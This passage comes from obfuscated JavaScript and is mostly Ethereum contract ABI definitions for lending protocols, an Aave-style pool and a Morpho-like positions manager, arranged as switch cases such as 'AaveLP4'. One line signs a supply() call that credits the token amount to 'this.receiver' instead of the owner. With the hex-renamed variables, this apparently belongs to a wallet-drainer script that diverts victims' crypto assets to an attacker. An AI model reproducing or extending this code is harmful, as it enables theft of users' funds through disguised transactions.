internalType: "uint256", | |
name: "interestRateMode", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "permitV", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "permitR", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "permitS", | |
type: "bytes32" | |
}], | |
name: "repayWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "rescueTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}], | |
name: "resetIsolationModeTotalDebt", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "data", | |
type: "uint256" | |
}], | |
internalType: "struct DataTypes.ReserveConfigurationMap", | |
name: "configuration", | |
type: "tuple" | |
}], | |
name: "setConfiguration", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "rateStrategyAddress", | |
type: "address" | |
}], | |
name: "setReserveInterestRateStrategyAddress", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint8", | |
name: "categoryId", | |
type: "uint8" | |
}], | |
name: "setUserEMode", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "useAsCollateral", | |
type: "bool" | |
}], | |
name: "setUserUseReserveAsCollateral", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "supply", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "permitV", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "permitR", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "permitS", | |
type: "bytes32" | |
}], | |
name: "supplyWithPermit", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "interestRateMode", | |
type: "uint256" | |
}], | |
name: "swapBorrowRateMode", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "protocolFee", | |
type: "uint256" | |
}], | |
name: "updateBridgeProtocolFee", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint128", | |
name: "flashLoanPremiumTotal", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "flashLoanPremiumToProtocol", | |
type: "uint128" | |
}], | |
name: "updateFlashloanPremiums", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "withdraw", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x3f6944 = new ethers.Contract(_0x2b7b1b, _0x23de63, _0x9d9505); | |
return [_0x3f6944.supply(_0x4f37a4.asset.token, _0x4f37a4.asset.amount, this.receiver, 0), ""]; | |
} | |
case "AaveLP4": | |
{ | |
let _0x46f5ef = [{ | |
inputs: [], | |
name: "BorrowNotPaused", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ExceedsMaxBasisPoints", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MarketAlreadyCreated", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MarketIsDeprecated", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MarketIsNotListedOnAave", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MarketNotCreated", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MaxNumberOfMarkets", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MaxSortedUsersCannotBeZero", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ZeroAddress", | |
type: "error" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
components: [{ | |
internalType: "uint64", | |
name: "supply", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "borrow", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "withdraw", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "repay", | |
type: "uint64" | |
}], | |
indexed: false, | |
internalType: "struct Types.MaxGasForMatching", | |
name: "_defaultMaxGasForMatching", | |
type: "tuple" | |
}], | |
name: "DefaultMaxGasForMatchingSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_entryPositionsManager", | |
type: "address" | |
}], | |
name: "EntryPositionsManagerSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_exitPositionsManager", | |
type: "address" | |
}], | |
name: "ExitPositionsManagerSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_interestRatesManager", | |
type: "address" | |
}], | |
name: "InterestRatesSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "IsBorrowPausedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isDeprecated", | |
type: "bool" | |
}], | |
name: "IsDeprecatedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "IsLiquidateBorrowPausedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "IsLiquidateCollateralPausedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "IsRepayPausedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "IsSupplyPausedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "IsWithdrawPausedSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint16", | |
name: "_reserveFactor", | |
type: "uint16" | |
}, { | |
indexed: false, | |
internalType: "uint16", | |
name: "_p2pIndexCursor", | |
type: "uint16" | |
}], | |
name: "MarketCreated", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "uint256", | |
name: "_newValue", | |
type: "uint256" | |
}], | |
name: "MaxSortedUsersSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint16", | |
name: "_newValue", | |
type: "uint16" | |
}], | |
name: "P2PIndexCursorSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "_isP2PDisabled", | |
type: "bool" | |
}], | |
name: "P2PStatusSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint16", | |
name: "_newValue", | |
type: "uint16" | |
}], | |
name: "ReserveFactorSet", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "_amountClaimed", | |
type: "uint256" | |
}], | |
name: "ReserveFeeClaimed", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "_newTreasuryVaultAddress", | |
type: "address" | |
}], | |
name: "TreasuryVaultSet", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "BORROWING_MASK", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "DEFAULT_LIQUIDATION_CLOSE_FACTOR", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "HEALTH_FACTOR_LIQUIDATION_THRESHOLD", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "MAX_BASIS_POINTS", | |
outputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "MAX_NB_OF_MARKETS", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "NO_REFERRAL_CODE", | |
outputs: [{ | |
internalType: "uint8", | |
name: "", | |
type: "uint8" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "ONE", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "ST_ETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "ST_ETH_BASE_REBASE_INDEX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "VARIABLE_INTEREST_MODE", | |
outputs: [{ | |
internalType: "uint8", | |
name: "", | |
type: "uint8" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "aaveIncentivesController", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "addressesProvider", | |
outputs: [{ | |
internalType: "contract ILendingPoolAddressesProvider", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "borrow", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_maxGasForMatching", | |
type: "uint256" | |
}], | |
name: "borrow", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "borrowBalanceInOf", | |
outputs: [{ | |
internalType: "uint256", | |
name: "inP2P", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "onPool", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "borrowMask", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "", | |
type: "address[]" | |
}, { | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
name: "claimRewards", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_poolTokens", | |
type: "address[]" | |
}, { | |
internalType: "uint256[]", | |
name: "_amounts", | |
type: "uint256[]" | |
}], | |
name: "claimToTreasury", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_underlyingToken", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "_reserveFactor", | |
type: "uint16" | |
}, { | |
internalType: "uint16", | |
name: "_p2pIndexCursor", | |
type: "uint16" | |
}], | |
name: "createMarket", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "defaultMaxGasForMatching", | |
outputs: [{ | |
internalType: "uint64", | |
name: "supply", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "borrow", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "withdraw", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "repay", | |
type: "uint64" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "deltas", | |
outputs: [{ | |
internalType: "uint256", | |
name: "p2pSupplyDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "p2pBorrowDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "p2pSupplyAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "p2pBorrowAmount", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "entryPositionsManager", | |
outputs: [{ | |
internalType: "contract IEntryPositionsManager", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "exitPositionsManager", | |
outputs: [{ | |
internalType: "contract IExitPositionsManager", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "enum Types.PositionType", | |
name: "_positionType", | |
type: "uint8" | |
}], | |
name: "getHead", | |
outputs: [{ | |
internalType: "address", | |
name: "head", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getMarketsCreated", | |
outputs: [{ | |
internalType: "address[]", | |
name: "", | |
type: "address[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "enum Types.PositionType", | |
name: "_positionType", | |
type: "uint8" | |
}, { | |
internalType: "address", | |
name: "_user", | |
type: "address" | |
}], | |
name: "getNext", | |
outputs: [{ | |
internalType: "address", | |
name: "next", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "incentivesVault", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "increaseP2PDeltas", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IEntryPositionsManager", | |
name: "_entryPositionsManager", | |
type: "address" | |
}, { | |
internalType: "contract IExitPositionsManager", | |
name: "_exitPositionsManager", | |
type: "address" | |
}, { | |
internalType: "contract IInterestRatesManager", | |
name: "_interestRatesManager", | |
type: "address" | |
}, { | |
internalType: "contract ILendingPoolAddressesProvider", | |
name: "_lendingPoolAddressesProvider", | |
type: "address" | |
}, { | |
components: [{ | |
internalType: "uint64", | |
name: "supply", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "borrow", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "withdraw", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "repay", | |
type: "uint64" | |
}], | |
internalType: "struct Types.MaxGasForMatching", | |
name: "_defaultMaxGasForMatching", | |
type: "tuple" | |
}, { | |
internalType: "uint256", | |
name: "_maxSortedUsers", | |
type: "uint256" | |
}], | |
name: "initialize", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "interestRatesManager", | |
outputs: [{ | |
internalType: "contract IInterestRatesManager", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "isClaimRewardsPaused", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolTokenBorrowed", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_poolTokenCollateral", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_borrower", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "liquidate", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "market", | |
outputs: [{ | |
internalType: "address", | |
name: "underlyingToken", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "reserveFactor", | |
type: "uint16" | |
}, { | |
internalType: "uint16", | |
name: "p2pIndexCursor", | |
type: "uint16" | |
}, { | |
internalType: "bool", | |
name: "isCreated", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isPartiallyPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isP2PDisabled", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "marketPauseStatus", | |
outputs: [{ | |
internalType: "bool", | |
name: "isSupplyPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isBorrowPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isWithdrawPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isRepayPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isLiquidateCollateralPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isLiquidateBorrowPaused", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "isDeprecated", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "maxSortedUsers", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "p2pBorrowIndex", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "p2pSupplyIndex", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "pool", | |
outputs: [{ | |
internalType: "contract ILendingPool", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "poolIndexes", | |
outputs: [{ | |
internalType: "uint32", | |
name: "lastUpdateTimestamp", | |
type: "uint32" | |
}, { | |
internalType: "uint112", | |
name: "poolSupplyIndex", | |
type: "uint112" | |
}, { | |
internalType: "uint112", | |
name: "poolBorrowIndex", | |
type: "uint112" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renounceOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_onBehalf", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "repay", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "repay", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "rewardsManager", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint64", | |
name: "supply", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "borrow", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "withdraw", | |
type: "uint64" | |
}, { | |
internalType: "uint64", | |
name: "repay", | |
type: "uint64" | |
}], | |
internalType: "struct Types.MaxGasForMatching", | |
name: "_defaultMaxGasForMatching", | |
type: "tuple" | |
}], | |
name: "setDefaultMaxGasForMatching", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IEntryPositionsManager", | |
name: "_entryPositionsManager", | |
type: "address" | |
}], | |
name: "setEntryPositionsManager", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IExitPositionsManager", | |
name: "_exitPositionsManager", | |
type: "address" | |
}], | |
name: "setExitPositionsManager", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IInterestRatesManager", | |
name: "_interestRatesManager", | |
type: "address" | |
}], | |
name: "setInterestRatesManager", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsBorrowPaused", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isDeprecated", | |
type: "bool" | |
}], | |
name: "setIsDeprecated", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsLiquidateBorrowPaused", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsLiquidateCollateralPaused", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isP2PDisabled", | |
type: "bool" | |
}], | |
name: "setIsP2PDisabled", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsPausedForAllMarkets", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsRepayPaused", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsSupplyPaused", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "_isPaused", | |
type: "bool" | |
}], | |
name: "setIsWithdrawPaused", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_newMaxSortedUsers", | |
type: "uint256" | |
}], | |
name: "setMaxSortedUsers", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "_p2pIndexCursor", | |
type: "uint16" | |
}], | |
name: "setP2PIndexCursor", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "_newReserveFactor", | |
type: "uint16" | |
}], | |
name: "setReserveFactor", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_treasuryVault", | |
type: "address" | |
}], | |
name: "setTreasuryVault", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_onBehalf", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "supply", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "supply", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_poolToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_onBehalf", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_maxGasForMatching", | |
type: "uint256" | |
}], | |
name: "supply", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
